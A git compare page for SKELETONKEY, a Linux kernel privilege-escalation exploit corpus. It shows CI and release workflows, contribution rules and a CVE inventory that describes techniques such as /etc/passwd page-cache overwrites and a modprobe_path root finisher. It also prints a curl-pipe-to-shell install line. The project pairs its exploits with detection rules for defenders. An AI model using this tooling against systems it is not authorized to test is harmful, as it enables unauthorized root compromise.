Compare commits
84 Commits
v0.1.0
...
fa0228df9b
| Author | SHA1 | Date | |
|---|---|---|---|
| fa0228df9b | |||
| d52fcd5512 | |||
| 66cca39a55 | |||
| 92396a0d6d | |||
| 8ac041a295 | |||
| 270ddc1681 | |||
| 7f4a6e1c7c | |||
| f41eed834e | |||
| d84b3b0033 | |||
| 4af82b82d9 | |||
| c12ee6055c | |||
| 3e9f373751 | |||
| 24c2821ae2 | |||
| 5d48a7b0b5 | |||
| 18fa3025f2 | |||
| 5b79b23ff2 | |||
| 264759832a | |||
| 6e0f811a2c | |||
| 312e7d89b5 | |||
| 2c131df1bf | |||
| 48d5f15828 | |||
| 67d091dd37 | |||
| f792a3c4a6 | |||
| 2c4cde1031 | |||
| 5071ad4ba9 | |||
| 554a58757e | |||
| 8ab49f36f6 | |||
| ee3e7dd9a7 | |||
| 39ce4dff09 | |||
| e4a600fef2 | |||
| 60d22eb4f6 | |||
| e2fef41667 | |||
| 8243817f7e | |||
| 8de46e212e | |||
| df4b879527 | |||
| 6b6d638d98 | |||
| 8938a74d04 | |||
| 027fc1f9dd | |||
| 72ac6f8774 | |||
| fde053a27e | |||
| 97be306fd2 | |||
| a9c8f7d8c6 | |||
| 150f16bc97 | |||
| c63ee72aa1 | |||
| 86812b043d | |||
| 0d87cbc71c | |||
| 2b1e96336e | |||
| 1571b88725 | |||
| 36814f272d | |||
| d05a46c5c6 | |||
| ea1744e6f0 | |||
| c00c3b463a | |||
| 4f30d00a1c | |||
| 3e6e0d869b | |||
| a26f471ecf | |||
| cdb8f5e8f9 | |||
| 9a4cc91619 | |||
| ac557b67d0 | |||
| a8c8d5ef1f | |||
| 3b287f84f0 | |||
| 33f81aeb69 | |||
| 5be3c46719 | |||
| 58fb2e0951 | |||
| 2904fa159c | |||
| 2873133852 | |||
| 95135213e5 | |||
| 0fbe1b058f | |||
| e13edd0cfd | |||
| 5a73565e0e | |||
| 324b539d65 | |||
| e668c3301f | |||
| 347a9af832 | |||
| 023289a03a | |||
| e7ced5db7c | |||
| b5188b7818 | |||
| 9593d90385 | |||
| 9d88b475c1 | |||
| 1bcfdd0c9f | |||
| 5a808e3583 | |||
| 6a0a7d8718 | |||
| e2a3d6e94f | |||
| c1d1910a90 | |||
| 125ce8a08b | |||
| 3a5105c84c |
+24
@@ -0,0 +1,24 @@
|
||||
# clang-tidy configuration for SKELETONKEY core/.
|
||||
#
|
||||
# Defaults are mostly fine. Two checks intentionally disabled:
|
||||
#
|
||||
# clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
|
||||
# This check flags snprintf, fprintf, memset, strncpy, etc. as
|
||||
# "insecure" and recommends the C11 Annex K _s variants
|
||||
# (snprintf_s, memset_s, ...). Annex K is fundamentally not
|
||||
# portable — glibc, musl, and MSVC all either don't implement
|
||||
# it or implement it incompletely. snprintf is already bounds-
|
||||
# checked; this is noise rather than signal in real C code.
|
||||
# The Linux kernel uses these functions everywhere; so does
|
||||
# every C project. Disabling.
|
||||
#
|
||||
# bugprone-easily-swappable-parameters
|
||||
# Flags every function taking 2+ same-typed parameters. False-
|
||||
# positive heavy on small utility functions like
|
||||
# skeletonkey_host_kernel_at_least(host, major, minor, patch)
|
||||
# where the parameter order is documented and obvious. Not
|
||||
# worth the noise.
|
||||
|
||||
Checks: >
|
||||
-clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
|
||||
-bugprone-easily-swappable-parameters
|
||||
+115
-11
@@ -5,6 +5,11 @@ on:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
schedule:
|
||||
# Weekly drift check against CISA KEV + Debian security tracker.
|
||||
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
|
||||
# that haven't propagated into the corpus yet.
|
||||
- cron: '0 6 * * 1'
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -22,7 +27,8 @@ jobs:
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
|
||||
- name: show compiler
|
||||
run: ${{ matrix.cc }} --version
|
||||
@@ -37,22 +43,119 @@ jobs:
|
||||
make
|
||||
fi
|
||||
|
||||
- name: sanity — iamroot --version
|
||||
run: ./iamroot --version
|
||||
- name: sanity — skeletonkey --version
|
||||
run: ./skeletonkey --version
|
||||
|
||||
- name: sanity — iamroot --list
|
||||
run: ./iamroot --list
|
||||
- name: sanity — skeletonkey --list
|
||||
run: ./skeletonkey --list
|
||||
|
||||
- name: sanity — iamroot --scan (no exploit; just detect)
|
||||
run: ./iamroot --scan --no-color || true
|
||||
- name: sanity — skeletonkey --scan (no exploit; just detect)
|
||||
run: ./skeletonkey --scan --no-color || true
|
||||
# exit code may be nonzero (vulnerable host = exit 2, missing
|
||||
# precond = exit 4) — that's diagnostic data, not CI failure
|
||||
|
||||
- name: sanity — --detect-rules auditd
|
||||
run: ./iamroot --detect-rules --format=auditd | head -50
|
||||
run: ./skeletonkey --detect-rules --format=auditd | head -50
|
||||
|
||||
- name: sanity — --detect-rules sigma
|
||||
run: ./iamroot --detect-rules --format=sigma | head -50
|
||||
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
||||
|
||||
- name: tests — detect() unit suite
|
||||
env:
|
||||
CC: ${{ matrix.cc }}
|
||||
run: |
|
||||
# Run as a non-root user so modules' "already root" gates do
|
||||
# not short-circuit before the synthetic host-fingerprint
|
||||
# checks fire. The test binary itself is platform-agnostic;
|
||||
# the assertions are #ifdef __linux__ guarded.
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci make test
|
||||
|
||||
# ASan + UBSan run. clang-only; catches memory bugs and undefined
|
||||
# behaviour the regular test suite can't see. Runs on the same 88
|
||||
# tests as the main matrix; failures here are real bugs even if
|
||||
# the assertions all pass.
|
||||
sanitizers:
|
||||
runs-on: ubuntu-latest
|
||||
name: sanitizers (ASan + UBSan)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config sudo
|
||||
- name: build + test under sanitizers
|
||||
env:
|
||||
CC: clang
|
||||
# AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
|
||||
# backtraces meaningful while still exercising optimizer paths;
|
||||
# -fno-omit-frame-pointer for ASan stack traces; halt-on-error
|
||||
# so the first finding fails CI loudly rather than scrolling
|
||||
# past silently.
|
||||
CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
|
||||
LDFLAGS: "-fsanitize=address,undefined"
|
||||
run: |
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci -E make test
|
||||
|
||||
# clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
|
||||
# control most tightly). Non-blocking for now — sets a baseline we
|
||||
# can tighten incrementally. Module sources are excluded; many
|
||||
# bundle published PoC code that we keep close to upstream style.
|
||||
clang-tidy:
|
||||
runs-on: ubuntu-latest
|
||||
name: clang-tidy
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
|
||||
- name: lint core + dispatcher
|
||||
run: |
|
||||
clang-tidy core/*.c skeletonkey.c \
|
||||
--warnings-as-errors='' \
|
||||
-- -Icore -Imodules/copy_fail_family/src \
|
||||
-D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
|
||||
|
||||
# Drift check — runs the two refresh scripts in --check / drift mode
|
||||
# against authoritative federal sources. Catches:
|
||||
# - New CISA KEV additions touching CVEs in our corpus
|
||||
# - New Debian security-tracker backport-version updates that move
|
||||
# the kernel_patched_from table thresholds
|
||||
# Network-required (fetches kev.csv + Debian tracker JSON). Runs on
|
||||
# the weekly cron + on-demand via workflow_dispatch. NOT gated on
|
||||
# PRs because random PRs shouldn't fail on upstream feed drift.
|
||||
drift-check:
|
||||
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ubuntu-latest
|
||||
name: drift-check (CISA KEV + Debian tracker)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: cve_metadata drift
|
||||
run: |
|
||||
# Exits 1 if the federal data has drifted from our committed
|
||||
# JSON. Open a PR with `tools/refresh-cve-metadata.py` output
|
||||
# if this fires.
|
||||
python3 tools/refresh-cve-metadata.py --check || {
|
||||
echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
|
||||
exit 1
|
||||
}
|
||||
- name: kernel_range drift
|
||||
run: |
|
||||
# Exits 1 if any module's kernel_patched_from table is
|
||||
# MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
|
||||
# findings are fine.
|
||||
python3 tools/refresh-kernel-ranges.py || {
|
||||
echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Static build job: ensures the project links cleanly when -static is
|
||||
# requested. Useful for deployment to minimal containers / fleet scans
|
||||
@@ -66,7 +169,8 @@ jobs:
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential make linux-libc-dev libc6-dev
|
||||
build-essential make linux-libc-dev libc6-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
- name: make static
|
||||
# Glibc static linking pulls in NSS at runtime which breaks
|
||||
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
||||
@@ -75,7 +179,7 @@ jobs:
|
||||
# gate the merge on it. Migrate to musl-gcc when we want a
|
||||
# truly portable static binary.
|
||||
continue-on-error: true
|
||||
run: make static && ls -la iamroot
|
||||
run: make static && ls -la skeletonkey
|
||||
|
||||
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
|
||||
# the binary against a VM running a specific (vulnerable or patched)
|
||||
|
||||
+119
-40
@@ -7,7 +7,7 @@ name: release
|
||||
# Maintainer flow:
|
||||
# git tag v0.1.0
|
||||
# git push origin v0.1.0
|
||||
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
|
||||
# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
|
||||
|
||||
on:
|
||||
push:
|
||||
@@ -44,23 +44,101 @@ jobs:
|
||||
CC: ${{ matrix.cc }}
|
||||
run: |
|
||||
make
|
||||
file iamroot
|
||||
ls -la iamroot
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv iamroot iamroot-${{ matrix.target }}
|
||||
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
|
||||
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: iamroot-${{ matrix.target }}
|
||||
name: skeletonkey-${{ matrix.target }}
|
||||
path: |
|
||||
iamroot-${{ matrix.target }}
|
||||
iamroot-${{ matrix.target }}.sha256
|
||||
skeletonkey-${{ matrix.target }}
|
||||
skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
# Portable static-musl x86_64 build. Runs in Alpine (native musl +
|
||||
# linux-headers) so the resulting binary works on every libc —
|
||||
# glibc 2.x of any version, musl, etc. This is what install.sh
|
||||
# fetches by default for x86_64 hosts (the dynamic binary above
|
||||
# hits a glibc-version ceiling on older distros like Debian 12 /
|
||||
# RHEL 8).
|
||||
build-static-x86_64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (x86_64-static / musl)
|
||||
container:
|
||||
image: alpine:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: install build deps
|
||||
run: apk add --no-cache build-base linux-headers tar
|
||||
- name: build static (musl)
|
||||
run: |
|
||||
# MSG_COPY is a Linux-only SysV msg flag that glibc defines
|
||||
# but musl does not — netfilter_xtcompat needs it. Define
|
||||
# the kernel constant explicitly. (Kernel: include/uapi/
|
||||
# linux/msg.h: MSG_COPY = 040000)
|
||||
make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-x86_64-static
|
||||
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: skeletonkey-x86_64-static
|
||||
path: |
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
|
||||
# Portable static-musl arm64 build. Cross-compile from the x86_64
|
||||
# runner using dockcross/linux-arm64-musl — a Debian-based cross
|
||||
# toolchain image that ships aarch64-linux-musl-gcc with a clean
|
||||
# musl sysroot + Linux uapi headers. Avoids the two prior failure
|
||||
# modes:
|
||||
# (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
|
||||
# compatible Node, which GitHub doesn't inject on arm64.
|
||||
# (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
|
||||
# /usr/include collide (glibc stdio.h vs musl stdio.h →
|
||||
# __gnuc_va_list / __time64_t conflicts).
|
||||
# dockcross runs glibc Debian (so checkout works), invokes a
|
||||
# bundled aarch64-linux-musl-gcc whose sysroot has its own
|
||||
# consistent musl + linux-uapi tree.
|
||||
build-static-arm64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (arm64-static / musl)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: run dockcross arm64-musl build
|
||||
run: |
|
||||
# Fetch the dockcross wrapper script (handles UID/GID,
|
||||
# volume mounts, env passing). Image already has
|
||||
# aarch64-linux-musl-gcc on PATH.
|
||||
docker run --rm dockcross/linux-arm64-musl > ./dockcross
|
||||
chmod +x ./dockcross
|
||||
./dockcross bash -c '
|
||||
make CC=aarch64-linux-musl-gcc \
|
||||
CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
|
||||
LDFLAGS=-static
|
||||
'
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-arm64-static
|
||||
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: skeletonkey-arm64-static
|
||||
path: |
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
|
||||
release:
|
||||
needs: build
|
||||
needs: [build, build-static-x86_64, build-static-arm64]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
@@ -72,49 +150,50 @@ jobs:
|
||||
- name: flatten artifacts
|
||||
run: |
|
||||
find dist -type f -exec mv {} . \;
|
||||
ls -la iamroot-*
|
||||
ls -la skeletonkey-*
|
||||
|
||||
- name: collect release notes
|
||||
id: notes
|
||||
run: |
|
||||
tag="${GITHUB_REF#refs/tags/}"
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||
{
|
||||
echo "## IAMROOT $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
|
||||
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
|
||||
echo "iamroot --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "Or one-shot via the install script:"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo '```'
|
||||
echo
|
||||
echo "### What's in this release"
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the curated CVE inventory."
|
||||
echo "See [\`ROADMAP.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/ROADMAP.md) for phase progress."
|
||||
} > release-notes.md
|
||||
# Prefer the hand-written release notes if present (richer
|
||||
# per-release context); otherwise fall back to an auto-generated
|
||||
# stub with install instructions + pointers to docs.
|
||||
if [ -f docs/RELEASE_NOTES.md ]; then
|
||||
cp docs/RELEASE_NOTES.md release-notes.md
|
||||
else
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 (dynamic + static-musl) and arm64."
|
||||
echo "Checksums alongside each artifact."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the CVE inventory."
|
||||
echo "See [\`docs/RELEASE_NOTES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/docs/RELEASE_NOTES.md) for per-release detail."
|
||||
} > release-notes.md
|
||||
fi
|
||||
|
||||
- name: publish release
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
tag_name: ${{ steps.notes.outputs.tag }}
|
||||
name: IAMROOT ${{ steps.notes.outputs.tag }}
|
||||
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||
body_path: release-notes.md
|
||||
files: |
|
||||
iamroot-x86_64
|
||||
iamroot-x86_64.sha256
|
||||
iamroot-arm64
|
||||
iamroot-arm64.sha256
|
||||
skeletonkey-x86_64
|
||||
skeletonkey-x86_64.sha256
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
skeletonkey-arm64
|
||||
skeletonkey-arm64.sha256
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
install.sh
|
||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||
|
||||
+12
-1
@@ -5,7 +5,18 @@ build/
|
||||
*.dSYM/
|
||||
modules/*/build/
|
||||
modules/*/dirtyfail
|
||||
modules/*/iamroot
|
||||
modules/*/skeletonkey
|
||||
/skeletonkey
|
||||
/skeletonkey-test
|
||||
/skeletonkey-test-kr
|
||||
/skeletonkey-x86_64
|
||||
/skeletonkey-x86_64-static
|
||||
/skeletonkey-x86_64.sha256
|
||||
/skeletonkey-x86_64-static.sha256
|
||||
/skeletonkey-arm64
|
||||
/skeletonkey-arm64.sha256
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
/tools/verify-vm/logs/
|
||||
/tools/verify-vm/.vagrant/
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# Contributing to SKELETONKEY
|
||||
|
||||
SKELETONKEY is a curated corpus. PRs welcome for the things below.
|
||||
For everything else, open an issue first to discuss scope.
|
||||
|
||||
## What we accept
|
||||
|
||||
### 1. Kernel offsets for the `--full-chain` table
|
||||
|
||||
The 11 🟡 PRIMITIVE modules use the shared finisher in
|
||||
`core/finisher.c` to convert their primitive into a root pop via
|
||||
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
|
||||
at runtime — resolved via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map` / the embedded `kernel_table[]` in
|
||||
`core/offsets.c`.
|
||||
|
||||
The embedded table is **empty by default** to honor the
|
||||
no-fabricated-offsets rule. Every entry must come from a real kernel
|
||||
you have root on.
|
||||
|
||||
**Workflow:**
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --dump-offsets # on the target kernel build
|
||||
# Paste the printed C struct entry into core/offsets.c kernel_table[]
|
||||
# Open a PR titled "offsets: <distro> <kernel_release>"
|
||||
```
|
||||
|
||||
Include in the PR body:
|
||||
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
|
||||
- How you verified the offsets (kallsyms / System.map / debuginfo)
|
||||
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
|
||||
on that kernel (if you can test on a vulnerable build)
|
||||
|
||||
### 2. New modules
|
||||
|
||||
A new CVE module is welcome if:
|
||||
|
||||
- The bug is **patched in upstream mainline** (no 0days here)
|
||||
- It has a public CVE assignment or clear advisory
|
||||
- The kernel range it affects has realistic deployment footprint
|
||||
- You can include a working detect() with branch-backport ranges
|
||||
- You ship matching detection rules (auditd at minimum)
|
||||
|
||||
Use any existing module as a template. Lightest-weight reference:
|
||||
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
|
||||
|
||||
Mandatory:
|
||||
- Detect short-circuits cleanly on patched kernels (we test this)
|
||||
- `--i-know` gate on exploit
|
||||
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
|
||||
otherwise `EXPLOIT_FAIL` with diagnostic
|
||||
- `NOTICE.md` crediting the original CVE reporter + PoC author
|
||||
|
||||
After the module file exists, wire it into:
|
||||
- `core/registry.h` (extern declaration)
|
||||
- `skeletonkey.c` main() (register call)
|
||||
- `Makefile` (new objects + ALL_OBJS)
|
||||
- `CVES.md` (inventory entry)
|
||||
|
||||
### 3. Detection rules
|
||||
|
||||
If you're adding only detection coverage (no exploit) for an
|
||||
existing or new CVE, that's fine. Drop a sigma rule into the module
|
||||
or a new auditd rule file.
|
||||
|
||||
### 4. Bug reports + CVE-status corrections
|
||||
|
||||
Distro backports that patched a CVE without bumping the upstream
|
||||
version → file an issue. Same for kernels we mis-classify as
|
||||
vulnerable.
|
||||
|
||||
## What we don't accept
|
||||
|
||||
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
|
||||
- Per-kernel offsets fabricated without verification
|
||||
- Modules without detection rules
|
||||
- 0day disclosures (responsible disclosure first; bundle here
|
||||
after upstream patch ships)
|
||||
- Container escapes that don't chain to host root
|
||||
|
||||
## Code style
|
||||
|
||||
C99. Match the surrounding file. Run `make` and the existing
|
||||
CI build (`.github/workflows/build.yml`) before opening the PR.
|
||||
|
||||
## License
|
||||
|
||||
By contributing you agree your work is MIT-licensed.
|
||||
@@ -1,6 +1,6 @@
|
||||
# CVE inventory
|
||||
|
||||
The curated list of CVEs IAMROOT exploits, with patch status and
|
||||
The curated list of CVEs SKELETONKEY exploits, with patch status and
|
||||
module status. Updated as new modules land or as upstream patches
|
||||
ship.
|
||||
|
||||
@@ -8,22 +8,58 @@ Status legend:
|
||||
|
||||
- 🟢 **WORKING** — module verified to land root on a vulnerable host
|
||||
- 🟡 **PRIMITIVE** — fires the kernel primitive (trigger + slab groom
|
||||
+ empirical witness) on a vulnerable host, but stops short of the
|
||||
full cred-overwrite / R/W chain. Returns `EXPLOIT_FAIL` honestly;
|
||||
useful as a vuln-verification probe and a continuation point for
|
||||
full chains. Per-kernel offsets deliberately not shipped.
|
||||
+ empirical witness) on a vulnerable host. By default returns
|
||||
`EXPLOIT_FAIL` honestly (no fabricated offsets). Pass `--full-chain`
|
||||
to additionally attempt root pop via the shared `modprobe_path`
|
||||
finisher (`core/finisher.{c,h}`) — requires kernel offsets via
|
||||
env vars / `/proc/kallsyms` / `/boot/System.map`; see
|
||||
[`docs/OFFSETS.md`](docs/OFFSETS.md). On success returns
|
||||
`EXPLOIT_OK` and drops a root shell; on failure returns
|
||||
`EXPLOIT_FAIL` — never claims root without an empirical
|
||||
setuid-bash sentinel.
|
||||
- 🔵 **DETECT-ONLY** — module fingerprints presence/absence but no
|
||||
exploit. (No module is currently in this state — every registered
|
||||
module now fires either a full chain or a primitive.)
|
||||
exploit. (No module is currently in this state.)
|
||||
- ⚪ **PLANNED** — stub exists, work not started
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts (v0.1.0):** 🟢 13 · 🟡 7 · 🔵 0 · ⚪ 1 · 🔴 0
|
||||
**Counts:** 39 modules total covering 34 CVEs; **28 of 34 CVEs
|
||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
*candidate* with no module, not counted as a module.)
|
||||
|
||||
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` are
|
||||
> blocked by their target environment (VMware-only, kernel < 4.4,
|
||||
> mainline panic, kmod not autoloaded, or t64-transition libs),
|
||||
> not by missing code. See
|
||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
> `detect()`**:
|
||||
> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
|
||||
> D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
|
||||
> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
|
||||
> **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
|
||||
> rxgk code per Debian's tracker.
|
||||
> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
|
||||
> Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
|
||||
> on Debian's tracker — backport entries will extend the table as
|
||||
> distros publish them.
|
||||
>
|
||||
> `--auto` auto-enables active probes (forked per module so a probe
|
||||
> crash cannot tear down the scan), which lets all three give an
|
||||
> empirical confirmation on top of the version verdict. See each
|
||||
> module's `MODULE.md`.
|
||||
|
||||
Every module ships a `NOTICE.md` crediting the original CVE
|
||||
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
||||
embedded offset table for new kernel builds — operators with
|
||||
root on a host can upstream their kernel's offsets via PR.
|
||||
|
||||
## Inventory
|
||||
|
||||
| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
|
||||
| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
|
||||
|---|---|---|---|---|---|---|
|
||||
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
|
||||
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
|
||||
@@ -31,9 +67,9 @@ Status legend:
|
||||
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
|
||||
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
|
||||
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
|
||||
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
||||
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
||||
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
|
||||
